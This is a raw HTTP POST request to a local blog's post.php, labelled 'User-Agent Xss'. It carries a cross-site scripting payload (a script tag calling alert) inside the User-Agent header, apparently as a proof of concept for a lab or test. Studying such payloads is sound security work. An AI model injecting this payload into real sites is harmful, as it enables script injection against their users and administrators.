User-Agent Xss
POST /blog/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 <script>alert('xss')</script>(X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=00000000000000000000000000
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
title=qwerty
